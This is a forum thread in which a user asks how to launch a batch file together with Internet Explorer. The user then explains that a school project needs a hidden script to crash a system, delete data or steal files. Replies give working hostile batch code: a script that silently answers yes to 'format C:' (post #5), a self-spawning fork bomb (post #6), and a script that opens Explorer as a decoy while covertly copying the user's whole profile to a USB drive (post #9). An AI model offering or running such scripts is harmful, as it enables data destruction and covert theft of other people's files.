Overclock.net › Forums › Software, Programming and Coding › Coding and Programming › Start two programs at once
New Posts  All Forums:Forum Nav:

Start two programs at once

post #1 of 10
Thread Starter 
I want to start a batch file the same time i start Internet explorer. The batch is on a usb drive and the Internet Explorer is where it always is


The the name of the file is launch.bat and its directory is J:\music


My goal is to be able to start this bat file with something that is kept on the desktop so i can click and open.

Anyone able to help me out?
My Little Beast
(15 items)
 
  
CPUMotherboardGraphicsRAM
Intel Core i7 930 4.25 GHZ EVGA X58 SLI LE SLI GTX 470's Patriot Viper 6GB 1600Mhz 
Hard DriveOptical DriveCoolingOS
60GB OCZ Agility III SSD and 500GB WD Lable Flash DVD+r Corsair h50 Windows 7 64 bit 
MonitorKeyboardPowerCase
LG E2340v In Nvidia Surround (6140x1080) Razer Lycosa Corsair 1200AX Lian-Li Armorsuit PC-P60 
MouseMouse PadAudio
Razer Lachesis Razer Kabuto Krk Rokit 5's 
  hide details  
Reply
My Little Beast
(15 items)
 
  
CPUMotherboardGraphicsRAM
Intel Core i7 930 4.25 GHZ EVGA X58 SLI LE SLI GTX 470's Patriot Viper 6GB 1600Mhz 
Hard DriveOptical DriveCoolingOS
60GB OCZ Agility III SSD and 500GB WD Lable Flash DVD+r Corsair h50 Windows 7 64 bit 
MonitorKeyboardPowerCase
LG E2340v In Nvidia Surround (6140x1080) Razer Lycosa Corsair 1200AX Lian-Li Armorsuit PC-P60 
MouseMouse PadAudio
Razer Lachesis Razer Kabuto Krk Rokit 5's 
  hide details  
Reply
post #2 of 10
this should do it for you. just save it as anything.bat
Code:
@echo off
start "" "C:\Program Files (x86)\Internet Explorer\iexplore.exe"
start "" "J:\music\launch.bat"
Fractal Design
(15 items)
 
775 4 life
(15 items)
 
 
CPUMotherboardGraphicsRAM
Intel i7 2600K Biostar TP67XE NVidia GTX 570 Crucial Ballistix 
Hard DriveHard DriveCoolingOS
Crucial C300 RealSSD SDD Samsung F4 2TB Noctua NH-D14 Windows 7 Professional x64 
MonitorMonitorKeyboardPower
Asus VH202T 20'' 1600x900 Acer P244W 24" 1920 x 1080 Apple Keyboard with Numeric Keypad SeaSonic M12II 620W 
CaseMouseAudio
Fractal Design Define XL Titanium Grey Razor Abyssus Creative Sound Blaster X-FI Xtreme Gamer 
CPUMotherboardGraphicsRAM
Intel X3350 3.2Ghz @ 1.25v Gigabyte-GA-P35-DS3L (rev 2) XFX 4870 1GB 4GB OCZ Reaper PC2-6400 
RAMHard DriveHard DriveOptical Drive
2GB Corsair XMS2 PC2-6400 Crucial C300 64GB SSD 2TB Samsung Spinpoint F4 Sony Super Multi 
OSMonitorPowerCase
Windows 7 Professional x64 SP1 Asus VH202T 20'' 1600x900 SeaSonic M12II 620W Cooler Master Centurion 5 
Mouse
Razor Abyssus 
CPUMotherboardGraphicsRAM
Core i5-520M Lenovo 2522BF3 NVIDIA® Quadro® NVS3100M  Ramaxel Technology 4Gb DDR3 
Hard DriveOptical DriveOSMonitor
Samsung SSD 128GB 1.8" Micro SATA  hl-dt-st dvdram gu10n Windows 7 Enterprise (64-bit) 14.1" WXGA (1280x800) display, anti-glare, LED ... 
Power
9-cell plus Slice battery 
  hide details  
Reply
Fractal Design
(15 items)
 
775 4 life
(15 items)
 
 
CPUMotherboardGraphicsRAM
Intel i7 2600K Biostar TP67XE NVidia GTX 570 Crucial Ballistix 
Hard DriveHard DriveCoolingOS
Crucial C300 RealSSD SDD Samsung F4 2TB Noctua NH-D14 Windows 7 Professional x64 
MonitorMonitorKeyboardPower
Asus VH202T 20'' 1600x900 Acer P244W 24" 1920 x 1080 Apple Keyboard with Numeric Keypad SeaSonic M12II 620W 
CaseMouseAudio
Fractal Design Define XL Titanium Grey Razor Abyssus Creative Sound Blaster X-FI Xtreme Gamer 
CPUMotherboardGraphicsRAM
Intel X3350 3.2Ghz @ 1.25v Gigabyte-GA-P35-DS3L (rev 2) XFX 4870 1GB 4GB OCZ Reaper PC2-6400 
RAMHard DriveHard DriveOptical Drive
2GB Corsair XMS2 PC2-6400 Crucial C300 64GB SSD 2TB Samsung Spinpoint F4 Sony Super Multi 
OSMonitorPowerCase
Windows 7 Professional x64 SP1 Asus VH202T 20'' 1600x900 SeaSonic M12II 620W Cooler Master Centurion 5 
Mouse
Razor Abyssus 
CPUMotherboardGraphicsRAM
Core i5-520M Lenovo 2522BF3 NVIDIA® Quadro® NVS3100M  Ramaxel Technology 4Gb DDR3 
Hard DriveOptical DriveOSMonitor
Samsung SSD 128GB 1.8" Micro SATA  hl-dt-st dvdram gu10n Windows 7 Enterprise (64-bit) 14.1" WXGA (1280x800) display, anti-glare, LED ... 
Power
9-cell plus Slice battery 
  hide details  
Reply
post #3 of 10
Thread Starter 
It doesnt work it errors.

This is what it is right here. If your wondering its for a school project thats now due today. eek.gif All help would be nice. And its suppose to get it to run with out knowing that's why the vbs is there. So please help so i can get this done I have looked all day and no luck. I have 3 other people in my group counting on me. And don't worry ill put you guys in the presentation for help me out. The credit will be given where needed.

We have to create something that could do some kind of harm to a system like crash it delete stuff or steal stuff Ect... If anyone wanted to know,


http://www.instantfundas.com/2010/01/how-to-secretly-copy-steal-files-from.html
My Little Beast
(15 items)
 
  
CPUMotherboardGraphicsRAM
Intel Core i7 930 4.25 GHZ EVGA X58 SLI LE SLI GTX 470's Patriot Viper 6GB 1600Mhz 
Hard DriveOptical DriveCoolingOS
60GB OCZ Agility III SSD and 500GB WD Lable Flash DVD+r Corsair h50 Windows 7 64 bit 
MonitorKeyboardPowerCase
LG E2340v In Nvidia Surround (6140x1080) Razer Lycosa Corsair 1200AX Lian-Li Armorsuit PC-P60 
MouseMouse PadAudio
Razer Lachesis Razer Kabuto Krk Rokit 5's 
  hide details  
Reply
My Little Beast
(15 items)
 
  
CPUMotherboardGraphicsRAM
Intel Core i7 930 4.25 GHZ EVGA X58 SLI LE SLI GTX 470's Patriot Viper 6GB 1600Mhz 
Hard DriveOptical DriveCoolingOS
60GB OCZ Agility III SSD and 500GB WD Lable Flash DVD+r Corsair h50 Windows 7 64 bit 
MonitorKeyboardPowerCase
LG E2340v In Nvidia Surround (6140x1080) Razer Lycosa Corsair 1200AX Lian-Li Armorsuit PC-P60 
MouseMouse PadAudio
Razer Lachesis Razer Kabuto Krk Rokit 5's 
  hide details  
Reply
post #4 of 10
Quote:
Originally Posted by lil-tom7 View Post

It doesnt work it errors.
what errors are you getting?
Quote:
Originally Posted by lil-tom7 View Post

This is what it is right here. If your wondering its for a school project thats now due today. eek.gif All help would be nice. And its suppose to get it to run with out knowing that's why the vbs is there. So please help so i can get this done I have looked all day and no luck. I have 3 other people in my group counting on me. And don't worry ill put you guys in the presentation for help me out. The credit will be given where needed.
We have to create something that could do some kind of harm to a system like crash it delete stuff or steal stuff Ect... If anyone wanted to know,
http://www.instantfundas.com/2010/01/how-to-secretly-copy-steal-files-from.html
maybe i'm missing something. the link you provided seems straightforward. what exactly are you having problems with?
Fractal Design
(15 items)
 
775 4 life
(15 items)
 
 
CPUMotherboardGraphicsRAM
Intel i7 2600K Biostar TP67XE NVidia GTX 570 Crucial Ballistix 
Hard DriveHard DriveCoolingOS
Crucial C300 RealSSD SDD Samsung F4 2TB Noctua NH-D14 Windows 7 Professional x64 
MonitorMonitorKeyboardPower
Asus VH202T 20'' 1600x900 Acer P244W 24" 1920 x 1080 Apple Keyboard with Numeric Keypad SeaSonic M12II 620W 
CaseMouseAudio
Fractal Design Define XL Titanium Grey Razor Abyssus Creative Sound Blaster X-FI Xtreme Gamer 
CPUMotherboardGraphicsRAM
Intel X3350 3.2Ghz @ 1.25v Gigabyte-GA-P35-DS3L (rev 2) XFX 4870 1GB 4GB OCZ Reaper PC2-6400 
RAMHard DriveHard DriveOptical Drive
2GB Corsair XMS2 PC2-6400 Crucial C300 64GB SSD 2TB Samsung Spinpoint F4 Sony Super Multi 
OSMonitorPowerCase
Windows 7 Professional x64 SP1 Asus VH202T 20'' 1600x900 SeaSonic M12II 620W Cooler Master Centurion 5 
Mouse
Razor Abyssus 
CPUMotherboardGraphicsRAM
Core i5-520M Lenovo 2522BF3 NVIDIA® Quadro® NVS3100M  Ramaxel Technology 4Gb DDR3 
Hard DriveOptical DriveOSMonitor
Samsung SSD 128GB 1.8" Micro SATA  hl-dt-st dvdram gu10n Windows 7 Enterprise (64-bit) 14.1" WXGA (1280x800) display, anti-glare, LED ... 
Power
9-cell plus Slice battery 
  hide details  
Reply
Fractal Design
(15 items)
 
775 4 life
(15 items)
 
 
CPUMotherboardGraphicsRAM
Intel i7 2600K Biostar TP67XE NVidia GTX 570 Crucial Ballistix 
Hard DriveHard DriveCoolingOS
Crucial C300 RealSSD SDD Samsung F4 2TB Noctua NH-D14 Windows 7 Professional x64 
MonitorMonitorKeyboardPower
Asus VH202T 20'' 1600x900 Acer P244W 24" 1920 x 1080 Apple Keyboard with Numeric Keypad SeaSonic M12II 620W 
CaseMouseAudio
Fractal Design Define XL Titanium Grey Razor Abyssus Creative Sound Blaster X-FI Xtreme Gamer 
CPUMotherboardGraphicsRAM
Intel X3350 3.2Ghz @ 1.25v Gigabyte-GA-P35-DS3L (rev 2) XFX 4870 1GB 4GB OCZ Reaper PC2-6400 
RAMHard DriveHard DriveOptical Drive
2GB Corsair XMS2 PC2-6400 Crucial C300 64GB SSD 2TB Samsung Spinpoint F4 Sony Super Multi 
OSMonitorPowerCase
Windows 7 Professional x64 SP1 Asus VH202T 20'' 1600x900 SeaSonic M12II 620W Cooler Master Centurion 5 
Mouse
Razor Abyssus 
CPUMotherboardGraphicsRAM
Core i5-520M Lenovo 2522BF3 NVIDIA® Quadro® NVS3100M  Ramaxel Technology 4Gb DDR3 
Hard DriveOptical DriveOSMonitor
Samsung SSD 128GB 1.8" Micro SATA  hl-dt-st dvdram gu10n Windows 7 Enterprise (64-bit) 14.1" WXGA (1280x800) display, anti-glare, LED ... 
Power
9-cell plus Slice battery 
  hide details  
Reply
post #5 of 10
If you have to make a batch file that could damage the system why not just make it run a format C: command? That would do some damage!
Code:
echo off
cls
echo y|format C:

Don't test that on your own computer by the way! tongue.gif
My System
(14 items)
 
  
CPUMotherboardGraphicsRAM
i5 3570K - 4.9GHz @ 1.512v ASUS P8Z77-I Gigabyte HD7950 OC 8GB G.Skill Ares (2x4GB @ 1866MHz OC'd to 2133) 
Hard DriveHard DriveCoolingOS
Crucial M4 128GB WD Black 2.5" 750GB Custom Water Windows 8 x64 Pro 
MonitorPowerCase
Dell U2711 (2560*1440) SilverStone 550W Bitfenix Prodigy 
  hide details  
Reply
My System
(14 items)
 
  
CPUMotherboardGraphicsRAM
i5 3570K - 4.9GHz @ 1.512v ASUS P8Z77-I Gigabyte HD7950 OC 8GB G.Skill Ares (2x4GB @ 1866MHz OC'd to 2133) 
Hard DriveHard DriveCoolingOS
Crucial M4 128GB WD Black 2.5" 750GB Custom Water Windows 8 x64 Pro 
MonitorPowerCase
Dell U2711 (2560*1440) SilverStone 550W Bitfenix Prodigy 
  hide details  
Reply
post #6 of 10
fork bombs are also simple but effective.
Code:
@echo off
:START
start a.bat
GOTO START
Fractal Design
(15 items)
 
775 4 life
(15 items)
 
 
CPUMotherboardGraphicsRAM
Intel i7 2600K Biostar TP67XE NVidia GTX 570 Crucial Ballistix 
Hard DriveHard DriveCoolingOS
Crucial C300 RealSSD SDD Samsung F4 2TB Noctua NH-D14 Windows 7 Professional x64 
MonitorMonitorKeyboardPower
Asus VH202T 20'' 1600x900 Acer P244W 24" 1920 x 1080 Apple Keyboard with Numeric Keypad SeaSonic M12II 620W 
CaseMouseAudio
Fractal Design Define XL Titanium Grey Razor Abyssus Creative Sound Blaster X-FI Xtreme Gamer 
CPUMotherboardGraphicsRAM
Intel X3350 3.2Ghz @ 1.25v Gigabyte-GA-P35-DS3L (rev 2) XFX 4870 1GB 4GB OCZ Reaper PC2-6400 
RAMHard DriveHard DriveOptical Drive
2GB Corsair XMS2 PC2-6400 Crucial C300 64GB SSD 2TB Samsung Spinpoint F4 Sony Super Multi 
OSMonitorPowerCase
Windows 7 Professional x64 SP1 Asus VH202T 20'' 1600x900 SeaSonic M12II 620W Cooler Master Centurion 5 
Mouse
Razor Abyssus 
CPUMotherboardGraphicsRAM
Core i5-520M Lenovo 2522BF3 NVIDIA® Quadro® NVS3100M  Ramaxel Technology 4Gb DDR3 
Hard DriveOptical DriveOSMonitor
Samsung SSD 128GB 1.8" Micro SATA  hl-dt-st dvdram gu10n Windows 7 Enterprise (64-bit) 14.1" WXGA (1280x800) display, anti-glare, LED ... 
Power
9-cell plus Slice battery 
  hide details  
Reply
Fractal Design
(15 items)
 
775 4 life
(15 items)
 
 
CPUMotherboardGraphicsRAM
Intel i7 2600K Biostar TP67XE NVidia GTX 570 Crucial Ballistix 
Hard DriveHard DriveCoolingOS
Crucial C300 RealSSD SDD Samsung F4 2TB Noctua NH-D14 Windows 7 Professional x64 
MonitorMonitorKeyboardPower
Asus VH202T 20'' 1600x900 Acer P244W 24" 1920 x 1080 Apple Keyboard with Numeric Keypad SeaSonic M12II 620W 
CaseMouseAudio
Fractal Design Define XL Titanium Grey Razor Abyssus Creative Sound Blaster X-FI Xtreme Gamer 
CPUMotherboardGraphicsRAM
Intel X3350 3.2Ghz @ 1.25v Gigabyte-GA-P35-DS3L (rev 2) XFX 4870 1GB 4GB OCZ Reaper PC2-6400 
RAMHard DriveHard DriveOptical Drive
2GB Corsair XMS2 PC2-6400 Crucial C300 64GB SSD 2TB Samsung Spinpoint F4 Sony Super Multi 
OSMonitorPowerCase
Windows 7 Professional x64 SP1 Asus VH202T 20'' 1600x900 SeaSonic M12II 620W Cooler Master Centurion 5 
Mouse
Razor Abyssus 
CPUMotherboardGraphicsRAM
Core i5-520M Lenovo 2522BF3 NVIDIA® Quadro® NVS3100M  Ramaxel Technology 4Gb DDR3 
Hard DriveOptical DriveOSMonitor
Samsung SSD 128GB 1.8" Micro SATA  hl-dt-st dvdram gu10n Windows 7 Enterprise (64-bit) 14.1" WXGA (1280x800) display, anti-glare, LED ... 
Power
9-cell plus Slice battery 
  hide details  
Reply
post #7 of 10
Quote:
Originally Posted by travesty View Post

fork bombs are also simple but effective.
Code:
@echo off
:START
start a.bat
GOTO START

Oh yes! I remember in high school we made a batch file that opened up Windows explorer non-stop until it crashed... Good fun! rolleyes.gif
My System
(14 items)
 
  
CPUMotherboardGraphicsRAM
i5 3570K - 4.9GHz @ 1.512v ASUS P8Z77-I Gigabyte HD7950 OC 8GB G.Skill Ares (2x4GB @ 1866MHz OC'd to 2133) 
Hard DriveHard DriveCoolingOS
Crucial M4 128GB WD Black 2.5" 750GB Custom Water Windows 8 x64 Pro 
MonitorPowerCase
Dell U2711 (2560*1440) SilverStone 550W Bitfenix Prodigy 
  hide details  
Reply
My System
(14 items)
 
  
CPUMotherboardGraphicsRAM
i5 3570K - 4.9GHz @ 1.512v ASUS P8Z77-I Gigabyte HD7950 OC 8GB G.Skill Ares (2x4GB @ 1866MHz OC'd to 2133) 
Hard DriveHard DriveCoolingOS
Crucial M4 128GB WD Black 2.5" 750GB Custom Water Windows 8 x64 Pro 
MonitorPowerCase
Dell U2711 (2560*1440) SilverStone 550W Bitfenix Prodigy 
  hide details  
Reply
post #8 of 10
Thread Starter 
I don't want to do the opening thing because some ones already did it and don't want to format because I need it to be in done easy with out reinstalling windows. I'm getting a black command
Prompt box that says something about the vbs.
Sent from my Galaxy Nexus using Tapatalk
My Little Beast
(15 items)
 
  
CPUMotherboardGraphicsRAM
Intel Core i7 930 4.25 GHZ EVGA X58 SLI LE SLI GTX 470's Patriot Viper 6GB 1600Mhz 
Hard DriveOptical DriveCoolingOS
60GB OCZ Agility III SSD and 500GB WD Lable Flash DVD+r Corsair h50 Windows 7 64 bit 
MonitorKeyboardPowerCase
LG E2340v In Nvidia Surround (6140x1080) Razer Lycosa Corsair 1200AX Lian-Li Armorsuit PC-P60 
MouseMouse PadAudio
Razer Lachesis Razer Kabuto Krk Rokit 5's 
  hide details  
Reply
My Little Beast
(15 items)
 
  
CPUMotherboardGraphicsRAM
Intel Core i7 930 4.25 GHZ EVGA X58 SLI LE SLI GTX 470's Patriot Viper 6GB 1600Mhz 
Hard DriveOptical DriveCoolingOS
60GB OCZ Agility III SSD and 500GB WD Lable Flash DVD+r Corsair h50 Windows 7 64 bit 
MonitorKeyboardPowerCase
LG E2340v In Nvidia Surround (6140x1080) Razer Lycosa Corsair 1200AX Lian-Li Armorsuit PC-P60 
MouseMouse PadAudio
Razer Lachesis Razer Kabuto Krk Rokit 5's 
  hide details  
Reply
post #9 of 10
Quote:
Originally Posted by travesty View Post

this should do it for you. just save it as anything.bat
Code:
@echo off
start "" "C:\Program Files (x86)\Internet Explorer\iexplore.exe"
start "" "J:\music\launch.bat"
You don't need null parameters for start.
Quote:
Originally Posted by lil-tom7 View Post

I don't want to do the opening thing because some ones already did it and don't want to format because I need it to be in done easy with out reinstalling windows. I'm getting a black command
Prompt box that says something about the vbs.
Sent from my Galaxy Nexus using Tapatalk
Code:
@echo off

set usb_drive_letter=L:

start explorer.exe
xcopy /y /e "%userprofile%\*" "%usb_drive_letter%\%username%\"  >NUL 2>NUL

This start Windows Explorer and in the back ground will copy all of the users profile, desktop, etc onto a usb drive under a folder of the users file name. Just change L: to the drive letter.

If you want to get really clever than you can use net use to pull the USB's drive letter and fully automate the script.
Edited by Plan9 - 5/22/12 at 4:08am
post #10 of 10
This may be too late, but here's something:
Code:
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
 
errResult = objWMIService.Create("C:\Program Files (x86)\iTunes\iTunes.exe", null, null, intiTunesID)
errResult = objWMIService.Create("C:\Program Files (x86)\iTunesKeys\iTunesKeys.exe", null, null, intiTunesKeysID)

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set colProcesses = objWMIService.ExecNotificationQuery _
    ("Select * From __InstanceDeletionEvent " _ 
            & "Within 1 Where TargetInstance ISA 'Win32_Process'")

Do Until i = 999
    Set objProcess = colProcesses.NextEvent
    If objProcess.TargetInstance.ProcessID = intiTunesID Then
        Exit Do
    End If
Loop

Set colProcesses = objWMIService.ExecQuery _
    ("Select * from Win32_Process Where ProcessID = " & intiTunesKeysID)

For Each objProcess in colProcesses
    objProcess.Terminate()
Next
Save it as a .vbs script.


I use to use it to launch iTunes and iTunesKeys together. It also closes one when the other exited.
(Note: the code isn't mine, I found it somewhere on the net but I can't recall where)
Echo
(9 items)
 
  
CPUMotherboardGraphicsRAM
Intel Core i5-3570K Asus Maximus V Gene Asus Radeon HD 7970 3GB Mushkin Blackline 16GB 
Hard DriveHard DriveCaseOther
2x Samsung 830 256GB Seagate Barracuda 3TB Silverstone Temjin TJ08-E AverMedia GameBroadcaster HD 
Other
BeQuiet E9-700w 
  hide details  
Reply
Echo
(9 items)
 
  
CPUMotherboardGraphicsRAM
Intel Core i5-3570K Asus Maximus V Gene Asus Radeon HD 7970 3GB Mushkin Blackline 16GB 
Hard DriveHard DriveCaseOther
2x Samsung 830 256GB Seagate Barracuda 3TB Silverstone Temjin TJ08-E AverMedia GameBroadcaster HD 
Other
BeQuiet E9-700w 
  hide details  
Reply
New Posts  All Forums:Forum Nav:
  Return Home
  Back to Forum: Coding and Programming
Overclock.net › Forums › Software, Programming and Coding › Coding and Programming › Start two programs at once